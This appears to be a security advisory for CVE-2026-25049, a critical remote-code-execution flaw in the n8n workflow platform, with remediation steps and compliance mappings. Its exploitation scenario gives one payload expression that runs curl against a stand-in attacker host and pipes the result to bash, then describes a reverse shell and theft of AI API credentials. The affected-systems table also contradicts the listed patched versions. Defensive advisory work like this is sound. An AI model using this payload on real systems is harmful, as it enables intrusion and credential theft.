CVE-2026-25049 — CRITICAL (CVSS 9.9) AI Security Vulnerability

CISO Take

CVE-2026-25049 is a CVSS 9.9 RCE vulnerability in n8n, one of the most widely deployed AI agent orchestration platforms. Any authenticated workflow editor — including compromised contractors or insider threats — can execute arbitrary OS commands on the n8n host, which typically has unrestricted access to your AI APIs, databases, and internal services. Patch to 1.123.17 or 2.5.2 immediately; treat any unpatched n8n instance as fully compromised.

Affected Systems

Package	Ecosystem	Vulnerable Range	Patched
n8n	npm	—	No patch
n8n	npm	—	No patch

Severity & Risk

CVSS 3.1

9.9 / 10

EPSS

N/A

KEV Status

Not in KEV

Sophistication

Moderate

Recommended Action

1. PATCH: Upgrade n8n to 1.123.17 (v1 branch) or 2.5.2 (v2 branch) immediately — no workaround exists for the expression injection. 2. AUDIT: Review who has workflow create/edit permissions; apply least-privilege — revoke permissions from any non-essential users. 3. ROTATE CREDENTIALS: Rotate all API keys and secrets stored in n8n's credential vault as a precaution. 4. ISOLATE: Run n8n in a container or VM with minimal host privileges; restrict outbound network access to only required endpoints. 5. DETECT: Search logs for unusual workflow executions, unexpected child processes spawned by n8n, or outbound connections to unfamiliar IPs. 6. NETWORK SEGMENTATION: n8n should never have direct access to production databases or credential stores — enforce network segmentation. 7. MFA: Enable MFA on all n8n accounts to raise the bar for account compromise leading to exploitation.

Classification

Code Execution Data Extraction Auth Bypass Agent Framework API AML.T0012 - Valid Accounts AML.T0049 - Exploit Public-Facing Application AML.T0050 - Command and Scripting Interpreter AML.T0053 - AI Agent Tool Invocation AML.T0072 - Reverse Shell AML.T0081 - Modify AI Agent Configuration AML.T0083 - Credentials from AI Agent Configuration AML.T0105 - Escape to Host

Compliance Impact

This CVE is relevant to:

EU AI Act

Article 15 - Accuracy, robustness and cybersecurity Article 9 - Risk management system

ISO 42001

A.6.2 - Roles, responsibilities and authorities for AI systems A.9.1 - Security of AI system A.9.7 - Information security of AI systems

NIST AI RMF

GOVERN 1.1 - Policies, processes, procedures, and practices across the organization GOVERN 6.1 - Policies and procedures for AI risk are in place MANAGE 2.2 - Mechanisms are in place to respond to AI system incidents

OWASP LLM Top 10

LLM06 - Excessive Agency LLM07 - Insecure Plugin Design LLM08 - Excessive Agency

Technical Details

NVD Description

n8n is an open source workflow automation platform. Prior to versions 1.123.17 and 2.5.2, an authenticated user with permission to create or modify workflows could abuse crafted expressions in workflow parameters to trigger unintended system command execution on the host running n8n. This issue has been patched in versions 1.123.17 and 2.5.2.

Exploitation Scenario

An adversary with a compromised contractor account (or a disgruntled employee) with workflow-editor permissions opens a legitimate-looking workflow in n8n. They embed a crafted expression such as `{{ $evaluateExpression('require("child_process").execSync("curl attacker.com/shell.sh | bash")') }}` in a node parameter. When the workflow is triggered — either manually or by a scheduled/webhook event — n8n's expression engine evaluates the payload and executes the OS command with n8n's process privileges. The attacker establishes a reverse shell, extracts all AI API credentials (OpenAI, Anthropic, Pinecone, etc.) from n8n's encrypted store, and pivots laterally to connected AI infrastructure. The entire AI agent pipeline is now under adversary control with no visible indicators to end users.

Weaknesses (CWE)

CWE-913 Primary

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

References

Timeline

Published

February 4, 2026

Last Modified

February 5, 2026

First Seen

February 4, 2026